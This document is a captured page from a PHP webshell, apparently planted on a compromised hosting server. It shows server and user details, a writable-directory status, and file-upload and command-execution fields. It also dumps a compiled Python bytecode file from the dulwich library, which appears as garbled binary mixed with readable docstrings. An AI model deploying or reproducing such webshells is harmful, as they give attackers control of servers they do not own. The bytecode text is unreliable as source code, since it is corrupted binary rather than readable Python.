403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/dulwich/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/dulwich/__pycache__/walk.cpython-313.pyc
�

mEdg�@����SrSSKrSSKrSSKJr SSKJr SSKJrJ	r	J
r
JrJr SSK
Jr SSKJrJrJr S	rS
r\\4rSr"SS
5r"SS5r"SS5rS4Sjrg)z=General implementation of walking commits and their contents.�N)�chain)�Optional�)�RENAME_CHANGE_TYPES�RenameDetector�
TreeChange�tree_changes�tree_changes_for_merge)�MissingCommitError)�Commit�ObjectID�Tag�date�topo�c�:�\rSrSrSrS	SjrS
SjrS\4SjrSr	g)�	WalkEntry�0z1Object encapsulating a single result from a walk.�returnNc��X lURUlURUl0UlURUlg�N)�commit�store�_store�get_parents�_get_parents�_changes�rename_detector�_rename_detector)�self�walkerrs   �./usr/lib/python3/dist-packages/dulwich/walk.py�__init__�WalkEntry.__init__3s5�����l�l���"�.�.���57��
� &� 6� 6���c	�R�URRU5nUGc�URnURU5(d
[nSnGO5[URU55S:Xap[nURURU5SRnU(a7URURRU5upgURUnO�[nURU5Vs/sHo�RURPM nnU(acUVs/sHo�RUPM n	n/nU	H=nURURRU5upjURU
5 M? URnU(a7URUnURURRU5upk[U"URUUURS95nX RU'URU$s snfs snf![a M�f=f)a�Get the tree changes for this entry.

Args:
  path_prefix: Portion of the path in the repository to
    use to filter changes. Must be a directory name. Must be
    a full, valid, path reference (no partial names or wildcards).
Returns: For commits with up to one parent, a list of TreeChange
    objects; if the commit has no parents, these will be relative to
    the empty tree. For merge commits, a list of lists of TreeChange
    objects; see dulwich.diff.tree_changes_for_merge.
Nrr)r)r�getrrr	�lenr�tree�lookup_path�__getitem__r
�append�KeyError�listr)
r �path_prefix�cachedr�changes_func�parent�mode�subtree_sha�p�parent_trees�st�commit_tree_sha�commit_trees
             r"�changes�WalkEntry.changes:s������"�"�;�/���>��[�[�F��$�$�V�,�,�+�����T�&�&�v�.�/�1�4�+�����T�%6�%6�v�%>�q�%A�B�G�G���(.�(:�(:����/�/�#�)�%�D�"�[�[��5�F��5��7;�7H�7H��7P�Q�7P�!�+�+�a�.�-�-�7P��Q��<B�#C�F�q�K�K��N�F�L�#C��F�)��.�'(�}�}� $��� 7� 7� +�(�H�D�#�M�M�"�-�*�%�k�k�O��"�k�k�/�:��(3�(?�(?��K�K�+�+��)�%�����K�K��#�$(�$9�$9�	��F�*0�M�M�+�&��}�}�[�)�)��=R��#C�� (�!� �!�s�3"H�"H�(H�
H&�%H&c�Z�SURRSUR5<S3$)Nz<WalkEntry commit=z
, changes=�>)r�idr:�r s r"�__repr__�WalkEntry.__repr__ws'��#�D�K�K�N�N�#3�:�d�l�l�n�=O�q�Q�Qr%)rrrrr�rNr)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__r#r:�strr@�__static_attributes__�r%r"rr0s��;�7�;*�zR�#�Rr%rc�H�\rSrSrSrSSjrS\SS4SjrSSjrS	r	\	r
S
rg)
�_CommitTimeQueue�{z3Priority queue of WalkEntry objects by commit time.rNc��XlURUlURUlUR
Ul/Ul[5Ul	[5Ul
[5UlURUl
SUl[UlSUl[%UR&UR
5HnUR)U5 M g)NF)�_walkerrrrr�excluded�	_excluded�_pq�set�_pq_set�_seen�_done�since�	_min_time�_last�_MAX_EXTRA_COMMITS�_extra_commits_left�_is_finishedr�include�_push)r r!�	commit_ids   r"r#�_CommitTimeQueue.__init__~s������l�l���"�.�.��������-/���&)�e���$'�E��
�$'�E��
��������
�#5�� �!����v�~�~�v���?�I��J�J�y�!�@r%�	object_idc�(�URUn[U[5(aURURS5 gUnURUR;a�URUR;ay[R"URUR*U45 URRUR5 URRUR5 ggg![an[U5UeSnAff=f�Nr)rr-r�
isinstancerr^�objectr>rTrV�heapq�heappushrR�commit_time�addrU)r ra�obj�excrs     r"r^�_CommitTimeQueue._push�s���	9��+�+�i�(�C��c�3����J�J�s�z�z�!�}�%�����9�9�D�L�L�(�V�Y�Y�d�j�j�-H��N�N�4�8�8�v�'9�'9�&9�6�%B�C��L�L���V�Y�Y�'��J�J�N�N�6�9�9�%�.I�(���	9�$�Y�/�S�8��	9�s�C6�6
D�D�Dc��URnURnU/nU(akUR5nURU5H<nXR;a#XS;aUR	UR
U5 UR
U5 M> U(aMjggr)rQrU�poprr,rri)r rrP�seen�todor2s      r"�_exclude_parents�!_CommitTimeQueue._exclude_parents�sr���>�>���z�z���x����X�X�Z�F��+�+�F�3���)�f�n�
�K�K����F� 3�4����V�$�4��dr%c�"^�TR(agTR(Ga�[R"TR5upURnTR
R
U5 UTR;aMmTRRU5 TRU5HnTRU5 M SnUTR;nU(a�TRU5 TR(ao[U4SjTR55(aKTRSupTR(a'URTRR:�aSnOSnTR bURTR :aSnU(a["TlO'T=R$S-slTR$(dO8U(dUTl['TR(U5$TR(aGM�STlg)NTc3�Z># �UH upURTR;v� M" g7fr)r>rQ)�.0�_�cr s   �r"�	<genexpr>�(_CommitTimeQueue.next.<locals>.<genexpr>�s ����#P�x�t�q�A�D�D�D�N�N�$:�x�s�(+rFr)r\rRrf�heappopr>rT�removerVrirr^rQrq�allrYrhrXrZr[rrO)r rvr�sha�	parent_id�reset_extra_commits�is_excluded�ns`       r"�next�_CommitTimeQueue.next�s���������h�h�h��
�
�d�h�h�/�I�A��)�)�C��L�L����$��d�j�j� ���J�J�N�N�3��!�.�.�v�6�	��
�
�9�%�7�#'������/�K���%�%�f�-��8�8��#P�t�x�x�#P� P� P��8�8�A�;�D�A��z�z�a�m�m�t�z�z�7M�7M�&M�/3�+�.3�+��~�~�)�f�.@�.@�4�>�>�.Q�
',�#�"�+=��(��(�(�A�-�(��/�/���#��
� ����v�6�6�Y�h�h�h�Z!���r%)rVrQr[rr\rYrXrRrTrUrrO)r!�WalkerrNrB)rCrDrErFrGr#�bytesr^rqr��__next__rIrJr%r"rLrL{s/��=�"�"
&�u�
&��
&�
%�1�f�Hr%rLc���\rSrSrSrSSSSSSSSSS\4S\\S\\\S	\	S
\
S\\S\\\S
\\S\
S\\S\\SS4Sjjr
S\
4SjrS\
4SjrS\\
4SjrSrSrSrSrg)r���z�Object for performing a walk of commits in a store.

Walker objects are initialized with a store and other options and can then
be treated as iterators of Commit objects.
NrFc��UR$r��parents�rs r"�<lambda>�Walker.<lambda>�s��6�>�>r%r]�exclude�order�reverse�max_entries�pathsr�followrW�untilrc���U[;a[SU35eXl[U[5(aU/nX l[
U=(d /5UlX@lXPl	X`l
U=(a [
U5=(d SUlU	(aU(d[U5nX�l
X�lX�lX�lX�lSUlU
"U5Ul[(R*"5Ulg)a&Constructor.

Args:
  store: ObjectStore instance for looking up objects.
  include: Iterable of SHAs of commits to include along with their
    ancestors.
  exclude: Iterable of SHAs of commits to exclude along with their
    ancestors, overriding includes.
  order: ORDER_* constant specifying the order of results.
    Anything other than ORDER_DATE may result in O(n) memory usage.
  reverse: If True, reverse the order of output, requiring O(n)
    memory.
  max_entries: The maximum number of entries to yield, or None for
    no limit.
  paths: Iterable of file or subtree paths to show entries for.
  rename_detector: diff.RenameDetector object for detecting
    renames.
  follow: If True, follow path across renames/copies. Forces a
    default rename_detector.
  since: Timestamp to list commits after.
  until: Timestamp to list commits before.
  get_parents: Method to retrieve the parents of a commit
  queue_cls: A class to use for a queue of commits, supporting the
    iterator protocol. The constructor takes a single argument, the
    Walker.
zUnknown walk order Nr)�
ALL_ORDERS�
ValueErrorrrdr�r]rSrPr�r�r�r�rrrr�rWr��_num_entries�_queue�collections�deque�
_out_queue)r rr]r�r�r�r�r�rr�rWr�r�	queue_clss              r"r#�Walker.__init__�s���X�
�"��2�5�'�:�;�;��
��g�u�%�%��i�G����G�M�r�*��
��
���&���*��E�
�3�t��
��/�,�U�3�O�.��&�����
��
������o���8C�8I�8I�8K��r%c��UcgURcgURH6nX:Xa gURU5(dM"U[U5S:XdM6 g g)NFT�/)r��
startswithr()r �changed_path�
followed_paths   r"�
_path_matches�Walker._path_matches/sZ������:�:���!�Z�Z�M��,���'�'�
�6�6� ��]�!3�4��?��(�r%c��UR(deU(dgURRnURRnUR	U5(a\UR
(aJUR[;a6URRU5 URRU5 gUR	U5(agg)NFT)
r��old�path�newr�r��typerrir{)r �change�old_path�new_paths    r"�_change_matches�Walker._change_matches>s����z�z��z����:�:�?�?���:�:�?�?�����h�'�'��{�{�v�{�{�.A�A��
�
���x�(��
�
�!�!�(�+��
�
�
��
)�
)��r%c��URnURbURUR:agURbURUR:�agURUR
;agURcg[URU55S:�a:UR5H%nUHnURU5(dM  g M' gUR5HnURU5(dM g g)z�Determine if a walk entry should be returned..

Args:
  entry: The WalkEntry to consider.
Returns: True if the WalkEntry should be returned by this walk, or
    False otherwise (e.g. if it doesn't match any requested paths).
NFTr)rrWrhr�r>rPr�r(rr:r�)r �entryr�path_changesr�s     r"�_should_return�Walker._should_returnNs��������:�:�!�f�&8�&8�4�:�:�&E���:�:�!�f�&8�&8�4�:�:�&E���9�9��
�
�%���:�:����t����'�(�1�,� %�
�
���+�F��+�+�F�3�3�#�+�	!0�� �-�-�/���'�'��/�/��*�r%c���URnUbURU:a�[UR5nUbURRU5 Ub[
UR5[:�aYUR(dgURR5nURU5(aU=RS-
slU$UcM�URU:aM�grc)
r�r�r�r�r�r,r(rZ�popleftr�)r r�r�s   r"�_next�Walker._nextos����&�&���!�T�%6�%6��%D�����%�E�� ����&�&�u�-��}��D�O�O� 4�7I� I��������/�/�1���&�&�u�-�-��%�%��*�%� �L��!�T�%6�%6��%D�r%c��UR[:Xa[XR5nUR(a[[
U55nU$)z�Possibly reorder a results iterator.

Args:
  results: An iterator of WalkEntry objects, in the order returned
    from the queue_cls.
Returns: An iterator or list of WalkEntry objects, in the order
    required by the Walker.
)r��
ORDER_TOPO�
_topo_reorderrr��reversedr.)r �resultss  r"�_reorder�Walker._reorder~s:���:�:��#�#�G�-=�-=�>�G��<�<��t�G�}�-�G��r%c�^�[UR[URS555$r)�iterr�r�r?s r"�__iter__�Walker.__iter__�s!���D�M�M�$�t�z�z�4�"8�9�:�:r%)r�r�r�rPr�rr]r�r�r�rr�rWrr�)rCrDrErFrGrLr.r�rrH�bool�intrr#r�r�r�r�r�r�rIrJr%r"r�r��s���*.���%)�'+�48��#�#�1�"�CL��e��CL��$�u�+�&�	CL�
�CL��
CL��c�]�CL���U��$�CL�"�.�1�CL��CL���}�CL���}�CL�
�CL�J
�T�
���� �x��~��B
�
�;r%r�c��UR$rr�r�s r"r�r��s��f�n�nr%c#�(# �[R"5n0n[R"[5nUH9nUR	U5 U"UR
5HnXF==S-
ss'M M; U(a�UR
5nUR
nURnXH(aXSU'M>U"U5HFn	XI==S-ss'XI(aMURU	S5n
U
(dM5URU
5 MH Uv� U(aM�gg7f)a�Reorder an iterable of entries topologically.

This works best assuming the entries are already in almost-topological
order, e.g. in commit time order.

Args:
  entries: An iterable of WalkEntry objects.
  get_parents: Optional function for getting the parents of a commit.
Returns: iterator over WalkEntry objects from entries in FIFO order, except
    where a parent would be yielded before any of its children.
rN)
r�r��defaultdictr�r,rr�r>rn�
appendleft)�entriesrrp�pending�num_childrenr�r5rr_r~�parent_entrys           r"r�r��s��������D��G��*�*�3�/�L������E���U�\�\�*�A��O�q� �O�+��
�����������I�I�	��"�!&�I���$�V�,�I��#�q�(�#��*�*�&�{�{�9�d�;���<��O�O�L�1�-����$�s�C
D�D�. D�D)rGr�rf�	itertoolsr�typingr�	diff_treerrrr	r
�errorsr�objectsrr
r�
ORDER_DATEr�r�rZrrLr�r�rJr%r"�<module>r�s|��,D�������'�*�*�
�
�
�
��*�
%�
���HR�HR�Ve�e�Pk;�k;�\(E�!r%

Youez - 2016 - github.com/yon3zu
LinuXploit